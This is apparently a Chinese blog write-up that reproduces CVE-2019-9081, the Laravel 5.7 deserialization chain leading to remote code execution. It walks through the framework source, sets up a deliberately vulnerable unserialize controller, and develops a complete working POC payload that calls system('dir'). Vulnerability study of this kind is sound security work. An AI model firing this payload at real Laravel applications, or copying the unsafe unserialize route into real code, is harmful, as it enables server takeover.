前言
之前接触yii2,接下来就遇到laravel5.7的反序列化了,跟着大师傅们的文章复现了一下laravel5.7的反序列化链,学习了一波。
CVE编号是CVE-2019-9081:
The Illuminate component of Laravel Framework 5.7.x has a deserialization vulnerability that can lead to remote code execution if the content is controllable, related to the __destruct method of the PendingCommand class in PendingCommand.php.
去github上下载源码:
laravel5.7,下载下来的可能回没有vendor目录,需要在根目录执行composer install
就可以了。
然后就是构造一个反序列化的利用点了,在routes/web.php里面加一条路由:
Route::get('/unserialize',"UnserializeController@uns");
然后在App\Http\Controllers下面写一个控制器:
<?php
namespace App\Http\Controllers;
class UnserializeController extends Controller
{
public function uns(){
if(isset($_GET['c'])){
unserialize($_GET['c']);
}else{
highlight_file(__FILE__);
}
return "uns";
}
}
准备工作就做完了,开始分析反序列化链。
反序列化链分析
有一说一这条链真要完完全全进行分析的话,需要一定的开发水平,因为像我这样第一次接触laravel的0开发小白+代码审计小白,利用上注释,能清晰的理解这条链上三分之一的代码就很难得了,所以这条链的审计给我的体会就是学会打断点,忽略掉无用代码(我看不懂的就是无用的,笑),只要一路下去能顺利执行,就不要管中间那些代码是干啥的。
和laravel5.6相比,laravel5.7多了PendingCommand.php这个文件:
该类的作用是命令执行,并获取输出内容。
看一下这个新增的类,发现有一个__destruct()
。经过了之前yii2的审计,现在看到__destruct()
就很兴奋:
$this->hasExecuted
默认是false的,所以可以直接进入run方法:
/**
* Execute the command.
*
* @return int
*/
public function run()
{
$this->hasExecuted = true;
$this->mockConsoleOutput();
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
} catch (NoMatchingExpectationException $e) {
if ($e->getMethodName() === 'askQuestion') {
$this->test->fail('Unexpected question "'.$e->getActualArguments()[0]->getQuestion().'" was asked.');
}
throw $e;
}
if ($this->expectedExitCode !== null) {
$this->test->assertEquals(
$this->expectedExitCode, $exitCode,
"Expected status code {
$this->expectedExitCode} but received {
$exitCode}."
);
}
return $exitCode;
}
文档注释上写着Execute the command,我差点都以为这是开发留的后门了。。。
不过我们要明确一点,我们最终的目的就是这里:
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
所以跟进到$this->mockConsoleOutput();
:
/**
* Mock the application's console output.
*
* @return void
*/
protected function mockConsoleOutput()
{
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
foreach ($this->test->expectedQuestions as $i => $question) {
$mock->shouldReceive('askQuestion')
->once()
->ordered()
->with(Mockery::on(function ($argument) use ($question) {
return $argument->getQuestion() == $question[0];
}))
->andReturnUsing(function () use ($question, $i) {
unset($this->test->expectedQuestions[$i]);
return $question[1];
});
}
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
}
一堆我看不懂的代码,不过问题不大,只要可以正常执行到命令执行的call函数,就问题不大,写个POC试试:
<?php
namespace Illuminate\Foundation\Testing{
class PendingCommand
{
protected $command;
protected $parameters;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
报错了:
Trying to get property 'expectedOutput' of non-object
打一下断点,发现是mockConsoleOutput()方法的这里:
$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
(new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);
跟进到createABufferedOutputMock()函数里
:
foreach ($this->test->expectedOutput as $i => $output) {
报错的原因就是因为$this->test
没有expectedOutput这个属性。跟进一下这个属性,发现这个属性在trait InteractsWithConsole
中,trait类我们没法实例化,此外就只有一些测试类有这个属性,因此这里就卡住了。这时候想到利用__get方法:
读取不可访问属性的值时,__get() 会被调用。
大师傅们经过寻找,选择了Illuminate\Auth\GenericUser类:
attributes
是可控的,因此直接构造即可。
而且,会发现mockConsoleOutput()
方法中也有类似的代码:
foreach ($this->test->expectedQuestions as $i => $question) {
因此这里同样构造即可:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
再打一下,发现还是报错:
“Call to a member function bind() on null”
跟进一下,发现还是mockConsoleOutput方法,最后一行出了问题:
$this->app->bind(OutputStyle::class, function () use ($mock) {
return $mock;
});
原因应该是没有构造$this->app
,看一下这个app:
/**
* The application instance.
*
* @var \Illuminate\Foundation\Application
*/
protected $app;
说明是\Illuminate\Foundation\Application的实例,构造一波:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
还是报了错:
Target [Illuminate\Contracts\Console\Kernel] is not instantiable
这就是这条链的构造上最难的点了,打断点看一下哪里的问题,发现是这里:
try {
$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);
}
没错,已经进行到了最关键的地方了,看到这个$this->app[Kernel::class]
会很懵,$this->app不是application类的实例吗,为什么会当成数组?而Kernel::class又是什么?
Kernel::class
是完全限定名称,返回的是一个类的完整的带上命名空间的类名,在laravel这里是Illuminate\Contracts\Console\Kernel
。
打断点跟进看一下,发现进入了这个函数:
/**
* Get the value at a given offset.
*
* @param string $key
* @return mixed
*/
public function offsetGet($key)
{
return $this->make($key);
}
注释也写的很清楚了,返回给定的offset的值,继续跟进make:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
public function make($abstract, array $parameters = [])
{
return $this->resolve($abstract, $parameters);
}
继续跟进:
/**
* Resolve the given type from the container.
*
* @param string $abstract
* @param array $parameters
* @return mixed
*/
protected function resolve($abstract, $parameters = [])
{
$abstract = $this->getAlias($abstract);
$needsContextualBuild = ! empty($parameters) || ! is_null(
$this->getContextualConcrete($abstract)
);
// If an instance of the type is currently being managed as a singleton we'll
// just return an existing instance instead of instantiating new instances
// so the developer can keep using the same objects instance every time.
if (isset($this->instances[$abstract]) && ! $needsContextualBuild) {
return $this->instances[$abstract];
}
$this->with[] = $parameters;
$concrete = $this->getConcrete($abstract);
// We're ready to instantiate an instance of the concrete type registered for
// the binding. This will instantiate the types, as well as resolve any of
// its "nested" dependencies recursively until all have gotten resolved.
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
// If we defined any extenders for this type, we'll need to spin through them
// and apply them to the object being built. This allows for the extension
// of services, such as changing configuration or decorating the object.
foreach ($this->getExtenders($abstract) as $extender) {
$object = $extender($object, $this);
}
// If the requested type is registered as a singleton we'll want to cache off
// the instances in "memory" so we can return it later without creating an
// entirely new instance of an object on each subsequent request for it.
if ($this->isShared($abstract) && ! $needsContextualBuild) {
$this->instances[$abstract] = $object;
}
$this->fireResolvingCallbacks($abstract, $object);
// Before returning, we will also set the resolved flag to "true" and pop off
// the parameter overrides for this build. After those two things are done
// we will be ready to return back the fully constructed class instance.
$this->resolved[$abstract] = true;
array_pop($this->with);
return $object;
}
可以看到最终会返回一个object,我们是要调用这个object的call方法来执行命令,全局查找一下,这个执行命令的call方法到底在哪个类:
/**
* Call the given Closure / class@method and inject its dependencies.
*
* @param callable|string $callback
* @param array $parameters
* @param string|null $defaultMethod
* @return mixed
*/
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
发现在container类里,而构造的app的类是Application类,这个类正好也是container类的子类,所以最终返回这个Application的实例就可以了。
看一下resolve()方法的代码:
通过整体跟踪,猜测开发者的本意应该是实例化Illuminate\Contracts\Console\Kernel这个类,但是在getConcrete这个方法中出了问题,导致可以利用php的反射机制实例化任意类。问题出在vendor/laravel/framework/src/Illuminate/Container/Container.php的704行,可以看到这里判断$this->bindings[$abstract])是否存在,若存在则返回$this->bindings[$abstract][‘concrete’]。
$concrete = $this->getConcrete($abstract);
跟进看一下:
/**
* Get the concrete type for a given abstract.
*
* @param string $abstract
* @return mixed $concrete
*/
protected function getConcrete($abstract)
{
if (! is_null($concrete = $this->getContextualConcrete($abstract))) {
return $concrete;
}
// If we don't have a registered resolver or concrete for the type, we'll just
// assume each type is a concrete name and will attempt to resolve it as is
// since the container should be able to resolve concretes automatically.
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
}
第一个if成立不了,主要是这里:
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
因为bindings是container的属性,而这里的$this其实就是我们传的app,app的类正好是container的子类,所以bindings的属性同样可控,因此getConcrete()函数的返回值是我们可控的。
getConcrete()
函数之后是这个:
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
protected function isBuildable($concrete, $abstract)
{
return $concrete === $abstract || $concrete instanceof Closure;
}
这里的$concrete
是我们可控的,而$abstract
是Illuminate\Contracts\Console\Kernel
。经过打断点测试,$this->build($concrete)
得到的结果基本就是最终这个get the value of offset返回的了,因此要想办法让$concrete
是Illuminate\Foundation\Application
,既然$concrete
可控,那就写一下POC:
<?php
namespace Illuminate\Foundation\Testing{
use Illuminate\Auth\GenericUser;
use Illuminate\Foundation\Application;
class PendingCommand
{
protected $command;
protected $parameters;
public $test;
protected $app;
public function __construct(){
$this->command="system";
$this->parameters[]="dir";
$this->test=new GenericUser();
$this->app=new Application();
}
}
}
namespace Illuminate\Foundation{
class Application{
protected $bindings = [];
public function __construct(){
$this->bindings=array(
'Illuminate\Contracts\Console\Kernel'=>array(
'concrete'=>'Illuminate\Foundation\Application'
)
);
}
}
}
namespace Illuminate\Auth{
class GenericUser
{
protected $attributes;
public function __construct(){
$this->attributes['expectedOutput']=['hello','world'];
$this->attributes['expectedQuestions']=['hello','world'];
}
}
}
namespace{
use Illuminate\Foundation\Testing\PendingCommand;
echo urlencode(serialize(new PendingCommand()));
}
这样到了
if ($this->isBuildable($concrete, $abstract)) {
$object = $this->build($concrete);
} else {
$object = $this->make($concrete);
}
的时候,$concrete
是Illuminate\Foundation\Application
,$abstract
是Illuminate\Contracts\Console\Kernel
,无法isBuildable,还会再进入一次make,不过这次make中的$concrete
就是我们构造的了。进入make,然后再进入resolve,再进入getConcrete()
方法:
if (isset($this->bindings[$abstract])) {
return $this->bindings[$abstract]['concrete'];
}
return $abstract;
不存在$this->bindings['Illuminate\Foundation\Application']
,所以会直接return Illuminate\Foundation\Application
,这样$abstract
也是Illuminate\Foundation\Application
了,满足isBuildable()
,进入build():
/**
* Instantiate a concrete instance of the given type.
*
* @param string $concrete
* @return mixed
*
* @throws \Illuminate\Contracts\Container\BindingResolutionException
*/
public function build($concrete)
{
// If the concrete type is actually a Closure, we will just execute it and
// hand back the results of the functions, which allows functions to be
// used as resolvers for more fine-tuned resolution of these objects.
if ($concrete instanceof Closure) {
return $concrete($this, $this->getLastParameterOverride());
}
$reflector = new ReflectionClass($concrete);
// If the type is not instantiable, the developer is attempting to resolve
// an abstract type such as an Interface or Abstract Class and there is
// no binding registered for the abstractions so we need to bail out.
if (! $reflector->isInstantiable()) {
return $this->notInstantiable($concrete);
}
$this->buildStack[] = $concrete;
$constructor = $reflector->getConstructor();
// If there are no constructors, that means there are no dependencies then
// we can just resolve the instances of the objects right away, without
// resolving any other types or dependencies out of these containers.
if (is_null($constructor)) {
array_pop($this->buildStack);
return new $concrete;
}
$dependencies = $constructor->getParameters();
// Once we have all the constructor's parameters we can create each of the
// dependency instances and then use the reflection instances to make a
// new instance of this class, injecting the created dependencies in.
$instances = $this->resolveDependencies(
$dependencies
);
array_pop($this->buildStack);
return $reflector->newInstanceArgs($instances);
}
可以看到这里:
$reflector = new ReflectionClass($concrete);
利用反射机制,实例化了Illuminate\Foundation\Application
类,最后逐层返回我们创建的对象,最终$this->app[Kernel::class]
返回的就是实例化的Illuminate\Foundation\Application
类了。然后开始调用call方法,继续跟进:
public function call($callback, array $parameters = [], $defaultMethod = null)
{
return BoundMethod::call($this, $callback, $parameters, $defaultMethod);
}
再跟进到BoundMethod::call
:
/**
* Call the given Closure / class@method and inject its dependencies.
*
* @param \Illuminate\Container\Container $container
* @param callable|string $callback
* @param array $parameters
* @param string|null $defaultMethod
* @return mixed
*/
public static function call($container, $callback, array $parameters = [], $defaultMethod = null)
{
if (static::isCallableWithAtSign($callback) || $defaultMethod) {
return static::callClass($container, $callback, $parameters, $defaultMethod);
}
return static::callBoundMethod($container, $callback, function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
});
}
打断点就知道第一个if满足不了,然后直接return,注意一下这个匿名函数:
function () use ($container, $callback, $parameters) {
return call_user_func_array(
$callback, static::getMethodDependencies($container, $callback, $parameters)
);
直接调用了call_user_func_array
,命令执行就是这里了。$callback
是我们构造的system,跟进一下static::getMethodDependencies
:
/**
* Get all dependencies for a given method.
*
* @param \Illuminate\Container\Container $container
* @param callable|string $callback
* @param array $parameters
* @return array
*/
protected static function getMethodDependencies($container, $callback, array $parameters = [])
{
$dependencies = [];
foreach (static::getCallReflector($callback)->getParameters() as $parameter) {
static::addDependencyForCallParameter($container, $parameter, $parameters, $dependencies);
}
return array_merge($dependencies, $parameters);
}
打断点看一下,发现中间的哪个foreach没什么用,到了这里:
return array_merge($dependencies, $parameters);
合并数组,这里$dependencies
还是空数组,$parameters
就是我们构造的哪个:
$this->parameters[]="dir";
所以没啥影响,相当于执行,这条反序列化链最终相当于这样:
call_user_func_array('system',array(0=>'dir));
成功执行命令。
总结
经过这次对于laravel5.7反序列化链的复现,终于掌握了phpstorm断点调式的技巧,对于反序列化链的挖掘也有了更多的经验,代码审计的能力也提高了,学到了学到了。
参考文章:
laravelv5.7反序列化rce(CVE-2019-9081)